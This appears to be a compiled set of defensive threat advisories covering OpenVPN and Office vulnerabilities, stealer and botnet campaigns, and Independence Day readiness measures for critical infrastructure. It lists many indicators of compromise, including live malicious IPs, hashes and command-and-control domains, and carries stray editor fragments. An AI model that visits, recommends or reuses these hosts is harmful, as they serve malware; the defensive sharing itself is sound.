\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASH:**

6e7a64e8d70803263570dfd2eb3d05e9423cfe2c39a596e9109c4408325103f3

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-08-12-001**

Four medium-severity security vulnerabilities have been found in the open-source OpenVPN software, that could be chained to achieve Remote Code Execution (RCE) and Local Privilege Escalation (LPE). The attack chain enables attackers to gain full control over targeted endpoints, potentially resulting in data breaches, system compromise, and unauthorized access to sensitive information.

**Affected Version:**  The flaw affects all versions of OpenVPN prior to version 2.6.10 and 2.5.10.

**List of vulnerabilities is as follows:**

|  |  |  |  |
| --- | --- | --- | --- |
| **CVE ID** | **OpenVPN component** | **Impact** | **Affected platform** |
| CVE-2024-27459 | openvpnserv | Denial of service (DoS), local privilege escalation (LPE) | Windows |
| CVE-2024-24974 | openvpnserv | Unauthorized access | Windows |
| CVE-2024-27903 | openvpnserv | Remote code execution (RCE)  Local privilege escalation (LPE), data manipulation | Windows  Android, iOS, macOS, BSD |
| CVE-2024-1305 | Windows TAP driver | Denial of service (DoS) | Windows |

All vulnerabilities can be exploited after gaining access to a user's OpenVPN credentials. The credentials can be obtained using various methods including purchasing stolen credentials on the dark web, using stealer malware or sniffing network traffic to capture NTLMv2 hashes and then using cracking tools like HashCat or John the Ripper to decode them.

1. **TA-MAW-2024-08-12-001**

It has been observed that the threat group Stargazer Goblin, which provides, operates, and maintains the Stargazers Ghost Network, distributes malware & links via their GitHub Ghost accounts. In recent campaigns, adversaries have been found using GitHub repositories along with compromised WordPress sites to distribute password-protected archives that contain malware families like Atlantida Stealer, Rhadamanthys, Lumma Stealer, and RedLine. This modern method of malware distribution involves utilizing ghost accounts across different platforms and may incorporate AI for more precise targeting.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP ADDRESSES:**147.45.47.64:11837  
185.172.128.95  
147.45.44.73:1488  
89.23.98.116:1444  
147.78.103.199:2529  
 **HASHES:**2B6C8AA2AC917D978DFEC53CEF70EACA36764A93D01D93786CC0D84DA47CE8E6  
385EBE3D5BD22B6A5AE6314F33A7FA6AA24814005284C79EDAA5BDCF98E28492  
2EBF051F6A61FA825C684F1D640BFB3BD79ADD0AFCFF698660F83F22E6544CBA  
AB59A8412E4F8BF3A7E20CD656EDACF72E484246DFB6B7766D467C2A1E4CDAB0  
060DE3B4CF3056F24DE882B4408020CEE0510CB1FF0E5007C621BC98E5B4BDF3  
64A49FF6862B2C924280D5E906BC36168112C85D9ACC2EB778B72EA1D4C17895  
148C456E83E746A63E54EC5ABDA801731C42F3778E8EB0BF5A5C731B9A48C45D  
2F5624DCDA1D58A45491028ACC63FF3F1F89F564015813C52EEBD80F51220383  
98B7488B1A18CB0C5E360C06F0C94D19A5230B7B15D0616856354FB64929B388  
A484FA09BE45608E23D8E67CD28675FA3E3C4111AF396501385256CE34FF1D95  
8D8D7EB1180C13ED629DCEAC6C399C656692A6476C49047E0822BEC6156A253A **URL's:**https://considerrycurrentyws.shop  
https://deprivedrinkyfaiir.shop  
https://detailbaconroollyws.shop  
https://distincttangyflippan.shop  
https://greentastellesqwm.shop  
https://horsedwollfedrwos.shop  
https://innerverdanytiresw.shop  
https://lamentablegapingkwaq.shop  
https://macabrecondfucews.shop  
https://messtimetabledkolvk.shop  
https://patternapplauderw.shop  
https://relaxtionflouwerwi.shop  
https://sideindexfollowragelrew.pw  
https://slamcopynammeks.shop  
https://standingcomperewhitwo.shop  
https://stickyyummyskiwffe.shop  
https://sturdyregularrmsnhw.shop

https://understanndtytonyguw.shop  
https://vivaciousdqugilew.shop

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **SA-2024-08-12-001**

The Independence Day Ceremony is scheduled on 15 Aug 2024 at Red Fort in New Delhi. This is very prestigious and sensitive National event, which will attract the attention of malicious cyber threat actors with a view to impact the smooth conduct of the ceremony thus causing harm to prestige of the Nation. The themes/programmes for Independence Day may be weaponized as threat vectors, well before the event as subjects of phishing emails etc.

All CIIs are requested to be keep in place immediate measures to be taken if a cyber-incident occurs in their respective jurisdiction/constituency.

It is recommended that all stakeholders maintain a heightened cyber security alertness and a robust security posture, during the period preceding and on the Independence Day to thwart all miscreants.

**Steps & Measures to be taken at CIIs end:**

* SOC team to be on high alert and monitoring all alerts from security tools on priority. Teams should monitor traffic patterns and logs of all devices continuously to ensure there are no anomalies. SOC teams actively check and monitor for IoCs shared by security agencies i.e. NCIIPC, Cert-In, and other stakeholders in their SIEM. Isolate infected endpoints, if any, and report to NCIIPC.
* Ensure security updates & patches of all endpoints i.e. servers, workstation, security tools and appliances.
* If patches are not released for known vulnerabilities in endpoints, ensure all mitigations and workarounds suggested by OEM are applied.
* Ensure that all security tools have the latest signatures from the respective OEM service providers.
* Hardened and dedicated systems to be used for management of SIEM, Firewalls, EDR, XDR and Domain controllers.
* Review SIEM logs for detecting any ransomware or malware type of attacks (high file deletion frequency, high process termination frequency, deletion of shadow copies, registry key modification etc).
* SOC team should look out for configuration alerts for the following:

                         i.  Identifying signs of lateral movement.

                         ii.  Brute force login attempts.

                         iii. RDP/SMB connections.

                         iv. Traffic on random/unidentified port numbers.

                         v.  DNS traffic from non-designated internal IPs.

* EDR/XDR for the past 7 days is to be reviewed as a precautionary measure.
* DLP logs to be checked for any anomalies to possibly detect and identify any data exfiltration.
* Educate employees for Do's & Don'ts in cyber defence.
* Any possible cyber incident shall be reported to NCIIPC immediately.

Also, please refer attached documents for below given measures for prevention and mitigation:

* Measures for prevention of Web intrusion attacks/Web Defacement.
* Measures for prevention of Malware Attacks.
* Measures for prevention of Denial of Service (DoS/DDoS) attacks.

**Please Find Pdf**

Measures for prevention of Web intrusion attacks&Web Defacement.pdf

Measures for prevention of Denial of Service (DoS & DDoS) attacks.pdf

Measures for prevention of Malware Attacks.pdf

Saved to OneDrive - First Organization

1. **Canceling... 48. VA-2024-08-13-002**

A zero-day vulnerability has been found in the Microsoft Office, that, if successfully exploited, could result in unauthorized disclosure of sensitive information to malicious actors.

**Affected Versions:**

The vulnerability tracked as CVE-2024-38200 (CVSS score: 7.5), has been described as a spoofing flaw that affects the following versions of Office:

* Microsoft Office 2016 for 32-bit edition and 64-bit editions
* Microsoft Office LTSC 2021 for 32-bit and 64-bit editions
* Microsoft 365 Apps for Enterprise for 32-bit and 64-bit Systems
* Microsoft Office 2019 for 32-bit and 64-bit editions

To exploit the vulnerability, user interaction is required. In a web-based attack scenario, an attacker could host a website that contains a specially crafted file that is designed to exploit the vulnerability.

1. **TA-MAW-2024-08-13-003**

Saved to OneDrive - First Organization

Redline Stealer is a sophisticated, information-stealing malware known for its ability to exfiltrate sensitive data from infected systems. Primarily targeting personal and financial information, Redline Stealer is distributed through phishing campaigns, malicious downloads, and exploit kits hosted on compromised or malicious websites.

**Impacts:**

* Stolen credentials are traded on underground forums and dark web marketplaces, where they are available for purchase by other cybercriminals. Cybercriminals use stolen credentials to gain unauthorized access to your corporate networks, email accounts, and other sensitive systems, often as a precursor to more severe attacks like ransomware or data breaches.
* Personal Information Loss.
* The malware can download and execute additional malicious software, granting attackers control over the system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

5.254.80.190

95.217.124.248

95.216.104.115

52.143.157.240

77.105.164.59

20.52.165.210

88.99.151.68

194.28.226.213

65.108.21.23

93.115.91.27

51.195.145.80

140.82.32.9

85.28.47.132

84.38.129.31

91.92.249.167

38.180.147.152

91.92.242.175

91.92.240.171

94.131.106.53

185.237.165.67

38.180.203.208

5.254.73.99

77.105.135.107

31.177.108.53

31.177.108.40

147.45.44.16

89.23.101.114

193.3.19.146

94.141.120.170

147.45.47.104

176.111.174.140

185.215.113.67

185.196.9.26

185.215.113.9

207.148.69.28

5.42.92.213

193.233.255.34

13.60.40.107

185.196.9.26

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

**Preventive Measures:**

* Anomaly Monitoring: Implement monitoring systems to detect unusual login activity or unauthorized access attempts that may indicate the use of stolen credentials.
* Password Management: Encourage the use of unique, strong passwords for each service and implement Multi Factor Authentication (MFA) to add an extra layer of securit
* Set up filtering rules in email security solutions to block malicious attachments and URLs. This requires updating email security gateways or software to detect and filter out suspicious emails. Ensure that email security solution is up-to-date with the latest threat definitions and software updates. Block file types commonly associated with malware, such as .exe, .scr, .bat, .js, and .vbs.

**Detection Techniques:**

* Monitor Network Traffic: Look for unusual data transfers or connections to malicious servers.
* Regular Scans: Run regular security scans on browsers and FTP clients to detect and remove malware.

**Response Actions:**

* Disconnect Affected Systems: Immediately disconnect the infected system from the network to prevent further spread of the malware. Immediately address any signs of unauthorized access by changing passwords, reviewing access logs, and securing compromised accounts.
* Remove Malicious Files: Use an antivirus or anti-malware tool to scan and remove malicious files. Most security software will allow you to perform a full system scan, identifying and quarantining or deleting threats.
* Update Antivirus Definitions: Ensure your antivirus software is updated with the latest virus definitions. This can usually be done through the software's update function or by downloading the latest definitions from the vendor’s website.
* Apply Security Updates: Ensure all systems and software are updated with the latest security patches to close any vulnerabilities exploited by the malware.
* Enable Two-Factor Authentication (2FA): Implement 2FA for all sensitive accounts to add an additional layer of security.

1. **TA-MAW-2024-08-14-004Canceling...**

It has been observed that Mirai botnet malware family is targeting IoT devices. It infects vulnerable devices by exploiting known vulnerabilities or by using default credentials. The botnet is constantly evolving, with new variants being created and distributed.

Saved to OneDrive - First Organization

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

94.156.67.132

147.182.202.39

**Domains:**

secure.microsoftconnect.net

cnc.gay

dkuug.dk

cnc.scriptkid.lol

cnc.makeyoucloud.com

report.makeyoucloud.com

stresser.pw

note.gnu.property

c.cnc.gay

**Hashes(SHA-256):**

0153fc5a199a9d9038b4d37c2bc7cf905b1f8750de7833a6654882a354fbb761

02fc26e59dc44b18c5e967212a60f52925d7c7f44975766a297e0b2e59427765

065a82ee9d31f9e9ddd03da625d3db80a7819a26616c2fd2b9a21d657f06926c

06c5fe0963ae516fa79d6bb20c83bf56d91be3cc7d92ac34c1fe70fd27605a0a

0a86285aca9bbe871ce35aac6681ea00f308ab0ad43063c65b74ba8422c713ab

0ab267b78d6c6d1faada747adba0da9f57ce3a7dc1b9a4e968f313dc41d6add1

0b8d87a12105ce82c9ac0412d15f1ff7158dfd951a5c50ddd63fdb449b4dc59e

0c0ce83c1318c65a53793a511deba7e69f734a1039b541a9eb76b4dbe4c71a01

0f2e429c321ebcbe09ac3d8af3e4e7de0f844569b88e045b09909cdaf1c66976

12839233423dc1fc45fd32849d987c86c6bde4863dc220003d07a5df6072a346

13d1090ad5fab5f9740a178d2a697144f908c7cfabbfd087540e94e42c937dd0

1551800e553e511bfeb80b67fcc7776f7992647e1b927c364a5d6f169bf62145

158831408d21253f07cedd1f2497a5621c1984c189016e72be82bdfdd2d548bb

15ffa9bf9057539c49c24143621c052ff28cfe4ff5136483dbc920a6c98fe2c9

183b46b436d8f64e5f0afebfbf919227d57cbaead3e4146b05bb86ed1b0bb55a

1a64a5925b936965dba1d89ec5705004c57cce67f598829ef1afb4160acb0f01

1a9b070768c54719ed95597e9d156595d391fee1d052234bf2b9ba548618aee2

1aaacb0786783211a79bcd3eeed3cb6b62c028dd4c7c780390d1b9148ece2e95

1b045eb70f645de76e3e19b717f9b25394a4a7d3cc175fcc40bb7537352208bc

1ccef0e933fa2a5f5221fd5cf46b0ce363e456150da67c22263ddbc67f922bb2

1fc2be606f48591ead7c6944098d764465389186992ec3617d9ebecfbc93b71d

20b95df69fc0828989f2aabdb8380ecbd12ce947ad6f7b511b78dbfcc5367da9

21f56998d1d755e3c5bf2b2c8d2b30dfa9b0b980b7ba030b0fe36833fb6f1847

22341cc6eaab1f0fbc221555b9cd704f051e543ee171c40206eebe20939bc2a7

2673a80badd8317fcf3e58999a2ca2c41fa11eb4abda57720fc28b48eee28224

2880a14403283b94df8f3580b3c3721592db4ab60f328c48c4108ffe51770ecd

290ccee9ba721dd8eb39af7ec7df1a9ec902e074b1eb1147bec9e5c47d837d41

2c9272b4bcd80d2dfa63ed27ad8765cfc2ae0fb6523657f6f365262197f31ff4

2f44ef9952e69fdd7420689e13f51c2d770aa202109620b8862059b1212b1a33

305a57f9733c3a2eeda30b572409a3e76c29b0a401b52d8368913829b6d92b58

31f5d76bee07c5efccb11ca3d78fc565808c335c8cd692bc342679bb56f32b8f

351d24de7d921d343617c9c47259a01d61df031337ad066ea9aba0127e2fc150

37fdbaaba3ad9e76b511802c2eb463ec46df823355ad35cf4d569c52f68ca802

388847154d57a034ca61aefe8b197693c3aa963c291fdccb3896b919f4c791b5

3988e44c2b02d01d8c07b64b5391d52785427698f8df184af515fd7213b410cd

3aa75a9bbe50392f9dcbf39bf74c3783180554a7e2945a78e3c2f546e9af1528

4082a7e2b44c63b458434e9e1607a1a1bc0e44d3e28315127dbc0ba5e37fbcea

425349fd4a124537ff5140047d825ffc11d9eb04338fc8fadef38024a8389384

434737cbb8fe0de5e52110de31e090dd6e30ce864078a655fc57d0a8861deec6

43b6f5f321f98e13510dbd75d24fefc969e4e3137af340f0694373f7712206b7

44d2d15eb7b0ae236406f0a1ce295a8740216bb64cf5834b1730291a30ecc100

486e061b178529334eab7ed516c4e8c8b7a8a92f7eec502b32c15e254f451004

4e6c64f8b0657fe75c8e7ca44db63d6280a8e51dca95c44137175783961c75e6

4ed99f035d8e454219cfa05fa027990452c39418ded114c091200ff8c55f7dae

51fcbe01154e0640d11f688e6d938474a89101f2f65dd6f83c0bb3f6b259ec86

52be68daf572b5e09a97ac28cd9a6ed967cacd34d482d050bcdbaad4201f1e94

5399d59f7c4132f674c947c582e8936f498b34e62c5bdc3960fe65a160c45ba6

5663bd9ee8de2b3a962461b839cbd042bdda097c30d3db207d62c7a3c04d2c69

59560da4441b5e239b5d330890fd163bebc42f3fc6b4b113d8332935b6da0a87

598e366d0d08ca3d960ead5ea719682cbaaebfba8c8325925cd6ed5f1eadc875

5c423b45204033041e22e25a671839b8f0bd749a685687e1c826797b4afae410

5c7a34d00d8e5044020b1e06c6385198dcab0a3576a9112f6178bb9dbbe0a189

5e0b66179fa049fb8a29c9faa4a9af7607f4a587b92ee0da9530a3cff243454e

5e8cda822836c4e6b4a840200b875ae4a2753fdc5b5ee483d225e90949472509

6109bd8e1384611575d4ba2c190ab4672e026c1a7f9d9cef352016f2103aa3e5

61fcd1e2183abe214147d85dc63aa276a8eb77a00c941ce7131a869fd3a7d70f

65ea764a4133ee23ab5efef8c0073ab3f5e0d636ccf57c8bf79ea5265be98b6b

66581bb5b57b05c3d5c300e7b86e097abbb06f857a0264ad4b2fdd46fafe795c

677eb9b809663f2f8ca2da459b13d7d722b9d86424c317f0e86f56a327d9d584

69a7b7d0382693ecc03d881a3c2a339a8ff7670b0fa51028c96a37ef8f0d4c82

6a9d1cbcb3ae89c77b83e20c7a74575a4902a49219da62a87c4078ac18cfde7b

6af97616cd66a61f437ca1b41b4f3992f5aece23a996f22c62e5724f81e99cbc

6b02a978c686ee7a23eac755cbe39704ffb156327762f338262a521c735b0c74

6c7de89b3aefb9c92b8e75a9a488a2d74ce0251fdde18237cb86c22b32d48bc7

6c9d4980463805ac8f055b6ddb73437d7f49d0f7fdb362b4659dedb041344a67

6d23f59a7d218e34a26aceefb1d8906c7831c1133dd0ade66d1e9ab35c2da7ae

6d9167ac06b45d106f83f677f025c84931a635a6509c93c4760c963e17a47c7d

6e937c7b1f6dfe25ecb7c6b6d5790023713325e214f73c4617608850d94b60b1

70b46d2d568ba750afcb5ed1e3723fa81a621cb52063f45d131a4ecb62ebaa99

71305d2b0c443a9a50492ceb49c1c812df937f58e69def3f1e472ac4dc06c9bb

7143c63137ebcbc37112cedc6a0d7ea7d06d7814d1d9ab3e34b9b732d917f50c

7169ba03c373be2b617eae2d2b926ea7ed45c81c1624f747b92d35cf3b5bdb3b

718cda06003bbd34f423bb54c023d0ff77cc3ae1bdfc5824ff4dc9f047bbc254

7433579f6c91a0d5d67705f0e95c249c1b3cba4c9576ec2c9124a3cdad4bfc94

74f5c9c9c55786beab5475ea8c49c66269db592d1419096c0664be68404b10d3

78c63f69cc8460b0c2fdd27236f4af55ef0cb49c1484219c4ab5e7d8a7023b1b

78cbe2583177766e8ccabf5ac2ecee1a790a200f1ba75033a2d771a0cbbcff93

792a7af74a88edcdad8c1e1c01d710181a2b8fc41a54ae628af0c7e9c9b625b1

79b9aedc762f5de8dc138be914938004e40e4bec4f2f03d2b7ea083b7f96853d

7a65eb84a7652ab08182cc0106d78b0f4df48ff50101462c7d82037aaf02ffb8

7d502f1f46805f496f02323272174c56f7e14a215a4ff71e5e1809638edeea77

7d98172fe60f94de609d1b7f2bdce6bc7dc478f0ca5b0bf6b4d782acc400de2b

7df0638e06ce94629f99f9a7309cfb7b8f4c308c6a80b0c1eb11a33b760f02f9

7e21ce7e069ed261cd985271bc49d9b606996b6781b11bdd8dfb429b5e028c9d

83bdb5eafdc1684794033b843c74679d1c89a76b8b3a15af02e2e6af951fd9e9

841132885078ae42a70fd265fafc4bb4ee7936f41a15203bb4dde4e2c96ba5dc

862cfbaeb973e72448aac770359e8b55a1bc8c80f6a81ac0d936e68521d2f068

86c6b88c9b3480c13afb1260b8761a68d442b6efd69ad08c3742fbe69402799c

86ca2a08d73c856db15aab5d8bde1e6be3f2f183d514c29f690e2dc8ff99d68a

8858fc8bc86a116a9ff782f775ee4156d5368f02d5d676d343da054f58e92811

897a8b0122c3938e00d67fec6b9f0d16376abed81513e512939e5dab08f68fd4

8b4ecd5e62cc3071b6d22dd2e3cd94ca3e5d6430db5d1278eba0213c0dbca534

8ff601d409dad700ddab21e097fd5c00dc883707da684c98e0bf056d8c86aeb2

912f382c585831ad8c4ebaa1413af9d78971cb5ce10807a60ab342b5e4866818

93f3a2c0cf2d94f1d0ba2ea6feb18e49ae17d2cae8522292ee6c9f9ae97685dc

962a4e4cf546bb5294a9f743759867778520e0ba712b10510f8a9ce323874d8a

99a66406ddf4038c2982aef39f0654f7e2d0046b617426ddc506bd72bde22056

9a41114465919c90d0f0847f55cf2231388b24bade7b5d77ed461c7646f245d1

9c9bbcc89b8aa0c5d9f8d2e0fa4aff20e33c8ec8213ff00fac8eb182cea2cfa2

a1093f1d1a55bf4fb1f20dbb4d8834cd40292b83087a1b278e59df71ff4d1900

aa527aa8079a738ecbaed94847cd93eafbaf45cdc6e1820a06286aef8127eeef

aab9fd38dc942e44bb94b5e991302d94ed222bb7bfd024733a15eaad9ce5840a

ad3c19afec823def5b53f480eb919b75129dc820dbead758ecc5097d3ddbacef

ad81758e534704407c258b944d43038f85b9ebbd4aa82fb7c7901975a3f991a5

adc985ac6f17faf00ebf19431246fa142fbe15497478026d1731494481aa0298

b1229bb669f3c7578cbc77e41dec812ec366394bcb344c7c65a5e8fab5fc5164

b2a8fdf8aba620c9cf0487e3898c786ec5dd695cf85a4a683ac8d1f9fa488ca4

b4bae1c8a759c8ce684bbdd069ec8c8d374cbb08722b1239f96b99073cdeda80

b6283421b72312c642e42448227e78b4f2ae8061b7237a78ca30c062505aa0d9

b62b08a40a7ac87358f574e11ddb6c147e97ddb3623015de0558752eb79d87ca

b7036e4a9df7d9fe6e3c22b10b6478063b214e45a715b2186d789a8862d5f2a7

b7fccbe89d4ac662aaeec004d45752ba9d8310a1345f69b2e48787ba3a83e99a

bf95d8b3ae7addf63c7dcb802f51c583f1edfee819a6ab0a2e3dacc5f3c7044c

bfc867af7642f30292e2f1b5ed21c33cd03ceaf97915cb3581bd59037e7ca4ea

c26e3bc0584c55ecf4567a68c3af1b62e6a010df1148434fb970eed7586c1faa

c40588f2c24a5359621ce803fc862810fc0f951f81d61530563db9f9b4396bcf

c4407dfd0823aeda497835fb86320b2e0ebfbef0aad2b637ed53dcba5ffef962

c46faf99bebe65cf7f3e17ca7c83a8d93472176dd7b958ee3e0a14abb4f6908e

c5b89f0cb34ad5606ca85994852f1398d8cb17b49e4e597aa67bf8f348134266

c5cb2f215c5e3501e5a7147964f17a7832ed504b9a20961a0e495abba70ddf56

c61ac8213a2dda2614bb0edba72eb9e9d02192aa3afb47425ea5d65277d4d570

c8e4b171ef4897d4aba2be22ff7d945c9aca9b90188ec163c60c52f42f7a52a0

c8f07011c9d3cd46cdc9d1bc9cef48a36c14defb0f94dd1d3a67e085a6fac55a

c95fc10979a86a21ea98ea67ea7be90b30575a3cdcca771d8634d5f684dee779

ca02094ef881fd33c957c6ce9026fe565e3b4b56be1b74a76e8be0320d0385e3

cad967b99dc6a710c902bd5fee1ecc77a61d0bb7ca102b6f784aac8a590616cd

cc9fdea7deda4522caa70c13ee4de5bb20867868be864667609810be6ef7a46b

ccb238e9e11cb3239c7e18c05ee34f388961f2361682e452e54963a50f022c41

cf4fc3bd2d72bca914aa930d1774047fe6d734425900aeef5019e832e26a1989

cfa443a0c3c912fff2b0a6690bfc76c7eb7df06b6231ddfdda7a7112b94e4f7e

d0a580c12f9c91cd3634c2ca2b5cab7c4ae039631186ffe7564e1c3e429037af

d2f43e65b14276be4bbf03f22cb3c8c311a49d77be48c6a630716e96a40f53b1

d5ef648687ea6e11aa292482609bb0c18dfd7075f7a53892bd5cd9ed673e0c29

d69a85241607fc32d365100ad4ceacaf08d51e73ccf32de95838644f844c04d9

dfe536bddaf741c3a34b0e094597a8e2d5bc7ddef4e9486e426cddc56efdebd6

e1bf2bff9b5ebdc3178f9aa9ff44961ea76ed672f88cfbba25606806010b0e5d

e38480d31f101b521c412dd69183fbc2078934d3a5df1ed9bd0095ec4de0349b

e54c7a10d975575933fc4d17164edc66352b3e4c761ab886367ab27f2b912683

e5ec3ff5d1f4f73978366d8a0638a520b0b6917bc0fc1de71d229967929a213b

e9c5e2119f21cf8e4cbdd261af84e266dc030736a195a14c951981b5798cd38b

eb96f80ca6c8026a486f7b05f72016758e26baaa99c087c371bdb932e46076be

ebd9be07d71d518acdbcc153095c14a61784ffbed44ecf6876ed3a32ba84de4f

ee23c39ec6d76f3605221ad70375b4d20689a4a89ec4cf642288877a99ffcc7e

ef0d9d0e56e8a07abaabdddfd9ed21e1c41aee14d88c9a7c4e2899e036ff541e

f1248ef627874509e9e04224a4c3e4cee0c3938515e87407d798db2f6b22ca08

f316a3f1d99b1d402003e9686d4394d96512989b4eaeb371de5c165b25b50e49

f365f400f08d0a93cc3af880c1873f74c7c3dfc11f63560108d85123437f99b8

f5f8e55936ef14319e29dc28d4148abb78dfdbe1c02ff014019df2c5f5c3efc0

fd0dd3117cd2967d8ccca0ce3be00edd2d9fdf20f449658b675f45891d27bdcb

fd5ea97a30f5dbad6b2cecf8a4655030ad119db187350efce96b6568f0b378b6

fd6a14c9a4c6d89e7593cdc93395c2d4b160a0535f95b72f8821c5521bfff9d4

fe11948d337576b8ce44232f6e5976a0fd059464e8ee3a9cf94f8507359d4fcf

fe7877b0e29401cba1af0d27b5facce07ed3c6077677dc7b5de46621a3fd8402

fe98134f4cea1a5ba1655552c97d04427f3dbef1c5719bfba958a6b9d54c42f7

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Canceling...

1. **TA-MAW-2024-08-14-005**

It has been observed that ArcSilt, a custom malware family, is targeting Small Home and Office (SoHo) routers, DVR and IP camera appliances, Network Attached Storage (NAS), and other internet-facing devices. The malware is targeting various router models, and it is associated with a campaign exploiting zero-day vulnerabilities which demonstrate its evolving capabilities and potential impact on network security.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

104.136.191.151

108.6.49.39

113.61.182.254

115.21.190.71

119.246.51.206

119.247.246.237

121.148.244.135

122.215.187.23

124.244.34.180

125.59.116.52

140.228.220.56

141.164.125.246

152.165.225.48

156.155.142.146

157.131.181.118

157.157.36.129

172.118.29.20

173.174.92.59

175.117.39.52

176.37.208.150

176.38.36.25

180.69.134.173

181.129.53.59

184.152.74.92

184.68.123.18

192.230.136.217

198.217.121.198

203.173.189.80

203.218.198.139

207.183.188.149

207.44.27.95

209.202.217.22

210.242.252.145

211.208.120.162

211.219.150.242

212.244.34.194

212.37.113.58

213.21.86.45

216.165.244.2

216.240.37.130

216.83.134.2

219.73.104.250

219.73.46.174

219.78.219.98

220.82.139.190

221.118.2.22

221.127.9.62

223.18.252.82

24.159.100.85

24.29.84.189

27.35.41.184

37.70.32.89

4.1.125.201

45.75.70.137

47.14.103.129

47.156.128.136

50.64.172.221

57.132.188.99

58.153.68.126

58.176.16.134

59.10.175.233

59.120.179.63

61.238.197.81

61.92.101.142

67.85.43.183

68.168.164.163

68.190.82.158

70.81.228.83

71.83.253.238

71.90.41.193

72.43.187.155

75.139.203.104

76.166.225.186

76.95.189.107

81.227.99.38

81.93.194.232

84.1.30.86

84.216.27.65

85.229.72.27

86.115.58.202

86.97.107.121

87.199.82.136

87.248.1.96

89.23.245.206

92.119.93.183

92.33.203.8

96.42.108.78

96.57.195.131

**HASHES:**

edc1a18ab0ed73927bfe3e1ce8fe7493676b8ef32582e018e2cf8df73d59dcda

41a3bcb4efc85f3da23c8294be005399ac8137077c30f25a98f0ceea5466fbf9

464f29d5f496b4acffc455330f00adb34ab920c66ca1908eee262339d6946bcd

13cd040a7f488e937b1b234d71a0126b7bc74367bf6538b6961c476f5d620d13

72b3414f9a6fa2fd02d172fe391197d937448ad8d286c8f631595695c22535f9

9508e50f5a2b674e914b79a2da441fffa561fa73f7a29cf61f9d2156c498e44e

07b4b7c933357b9c608867fb90e004fb78d139a2eab6be1152c90309fea78fe5

361a9b8a99afcfadf0210c92c907681662ce8d88b4dc0d0042fd208f31323621

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-13-002**

It has been observed that there are number of sophisticated, information-stealing malwares which have the capability to exfiltrate sensitive data from infected systems. Some of them are are mentioned below along with their capabilities:

**VIDAR STEALER-** The Vidar Stealer malware, written in C++, has the ability to gather a variety of data from compromised systems, such as cookies, history, and logs from web browsers etc. It contains an updated grabber component, a new format for the acquired data, and a Command and Control (C2) server for cyber espionage. It runs as "vidar.exe" in infected hosts' Task Managers.

**SYNC SCHEDULER-** The Sync-Scheduler malware, written in C++, has the ability to target and exfiltrate data from user directories like Documents, Downloads, and Desktop, focusing on file types such as Word documents etc. by using defense evasion and anti-analysis techniques. It distributes itself through file-nesting within office documents. The payload of the approach is embedded in a Word document, which is embedded in a PowerPoint presentation.

**TeaBot-** TeaBot, an android banking tojan also known as Anatsa, masquerades as legitimate software, enticing users to download it. TeaBot spreads through seemingly harmless dropper applications on the Google Play Store. These applications deceive users into unwittingly installing the malicious payload. Once installed, it exfiltrates sensitive banking credentials and financial information from global financial apps.

